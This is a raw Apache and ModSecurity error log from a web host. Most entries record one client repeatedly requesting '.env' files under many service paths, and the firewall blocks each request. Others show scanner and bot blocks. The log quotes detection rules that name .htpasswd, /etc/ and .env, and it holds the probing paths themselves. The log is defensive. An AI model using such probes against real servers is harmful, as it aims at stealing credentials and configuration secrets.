https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pZA== [Sat Jun 13 18:18:14.490140 2026] [access_compat:error] [pid 646876:tid 646972] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pZA== [Sat Jun 13 18:18:14.563771 2026] [security2:error] [pid 648189:tid 648227] [remote 88.151.32.61:57642] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "mail.lthssolar.com"] [uri "/env.js"] [unique_id "ai3zRlWSojQL4F7upKBszgAA8Qc"] [Sat Jun 13 18:18:14.771695 2026] [security2:error] [pid 646876:tid 647122] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/server/src/persistence/.env"] [unique_id "ai3zRtyTkdrNlD40tSG0nwAAAHI"] [Sat Jun 13 18:18:14.830959 2026] [access_compat:error] [pid 648189:tid 648350] [remote 57.141.14.96:27075] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:14.831392 2026] [access_compat:error] [pid 648189:tid 648350] [remote 57.141.14.96:27075] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:14.846746 2026] [access_compat:error] [pid 648189:tid 648293] [remote 57.141.14.29:30353] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:14.847019 2026] [access_compat:error] [pid 648189:tid 648293] [remote 57.141.14.29:30353] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:14.911934 2026] [security2:error] [pid 646876:tid 647078] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Server_with_db/.env"] [unique_id "ai3zRtyTkdrNlD40tSG0oAAAAEY"] [Sat Jun 13 18:18:15.066985 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL2RldmljZS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:15.067384 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL2RldmljZS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:15.154187 2026] [security2:error] [pid 646876:tid 646993] [remote 2a02:6b67:d498:ce00:dd9d:55e3:4a7f:a038:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zR9yTkdrNlD40tSG0qAAARHI"], referer: https://www.torquayfans.com [Sat Jun 13 18:18:15.154219 2026] [security2:error] [pid 646876:tid 646993] [remote 2a02:6b67:d498:ce00:dd9d:55e3:4a7f:a038:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zR9yTkdrNlD40tSG0qAAARHI"], referer: https://www.torquayfans.com [Sat Jun 13 18:18:15.162751 2026] [access_compat:error] [pid 648189:tid 648301] [remote 57.141.14.62:29754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:15.163037 2026] [access_compat:error] [pid 648189:tid 648301] [remote 57.141.14.62:29754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:15.300718 2026] [security2:error] [pid 648189:tid 648307] [remote 17.246.15.40:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 40.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zR1WSojQL4F7upKBs8AAAoFU"] [Sat Jun 13 18:18:15.350777 2026] [security2:error] [pid 646876:tid 647115] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/service/.env"] [unique_id "ai3zR9yTkdrNlD40tSG0qgAAAGs"] [Sat Jun 13 18:18:15.433612 2026] [security2:error] [pid 648189:tid 648283] [remote 17.22.237.249:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 249.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zR1WSojQL4F7upKBs9gAAjz0"] [Sat Jun 13 18:18:15.490107 2026] [security2:error] [pid 646876:tid 647048] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/services/.env"] [unique_id "ai3zR9yTkdrNlD40tSG0rAAAACg"] [Sat Jun 13 18:18:15.525864 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL3Bvd2Vy [Sat Jun 13 18:18:15.526292 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL3Bvd2Vy [Sat Jun 13 18:18:15.609197 2026] [security2:error] [pid 648189:tid 648308] [remote 17.246.15.205:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 205.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zR1WSojQL4F7upKBs_QAAjVY"] [Sat Jun 13 18:18:15.628042 2026] [security2:error] [pid 646876:tid 647029] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/services/adminer/.env"] [unique_id "ai3zR9yTkdrNlD40tSG0rgAAABU"] [Sat Jun 13 18:18:15.677662 2026] [access_compat:error] [pid 648189:tid 648271] [remote 57.141.14.98:42532] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:15.678097 2026] [access_compat:error] [pid 648189:tid 648271] [remote 57.141.14.98:42532] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:15.767770 2026] [security2:error] [pid 646876:tid 647067] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/services/deployment-agent/.env"] [unique_id "ai3zR9yTkdrNlD40tSG0sQAAADs"] [Sat Jun 13 18:18:15.832166 2026] [access_compat:error] [pid 648189:tid 648265] [remote 57.141.14.66:21112] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:15.832673 2026] [access_compat:error] [pid 648189:tid 648265] [remote 57.141.14.66:21112] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:15.907471 2026] [security2:error] [pid 646876:tid 647013] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/services/documents/.env"] [unique_id "ai3zR9yTkdrNlD40tSG0swAAAAU"] [Sat Jun 13 18:18:16.047068 2026] [access_compat:error] [pid 646876:tid 646879] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:18:16.047532 2026] [access_compat:error] [pid 646876:tid 646879] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:18:16.057989 2026] [security2:error] [pid 646876:tid 647066] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/services/graylog/.env"] [unique_id "ai3zSNyTkdrNlD40tSG0uAAAADo"] [Sat Jun 13 18:18:16.183862 2026] [access_compat:error] [pid 648189:tid 648295] [remote 57.141.14.41:31715] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:16.184287 2026] [access_compat:error] [pid 648189:tid 648295] [remote 57.141.14.41:31715] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:16.196780 2026] [security2:error] [pid 646876:tid 647009] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/services/jaeger/.env"] [unique_id "ai3zSNyTkdrNlD40tSG0ugAAAAE"] [Sat Jun 13 18:18:16.334459 2026] [security2:error] [pid 646876:tid 647089] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/services/minio/.env"] [unique_id "ai3zSNyTkdrNlD40tSG0vQAAAFE"] [Sat Jun 13 18:18:16.471783 2026] [security2:error] [pid 648189:tid 648390] [client 192.178.6.38:63001] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.6.178.192.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3zSFWSojQL4F7upKBtHQAAAKo"] [Sat Jun 13 18:18:16.473637 2026] [security2:error] [pid 646876:tid 647017] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/services/monitoring/.env"] [unique_id "ai3zSNyTkdrNlD40tSG0wAAAAAk"] [Sat Jun 13 18:18:16.540292 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:18:16.540782 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:18:16.612792 2026] [security2:error] [pid 646876:tid 647045] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/services/portainer/.env"] [unique_id "ai3zSNyTkdrNlD40tSG0wgAAACU"] [Sat Jun 13 18:18:16.636267 2026] [security2:error] [pid 646876:tid 646969] [remote 17.241.219.12:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 12.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zSNyTkdrNlD40tSG0wwAAHFo"] [Sat Jun 13 18:18:16.721001 2026] [access_compat:error] [pid 648189:tid 648243] [remote 57.141.14.6:45416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:16.721455 2026] [access_compat:error] [pid 648189:tid 648243] [remote 57.141.14.6:45416] AH01797: client denied by server configuration: 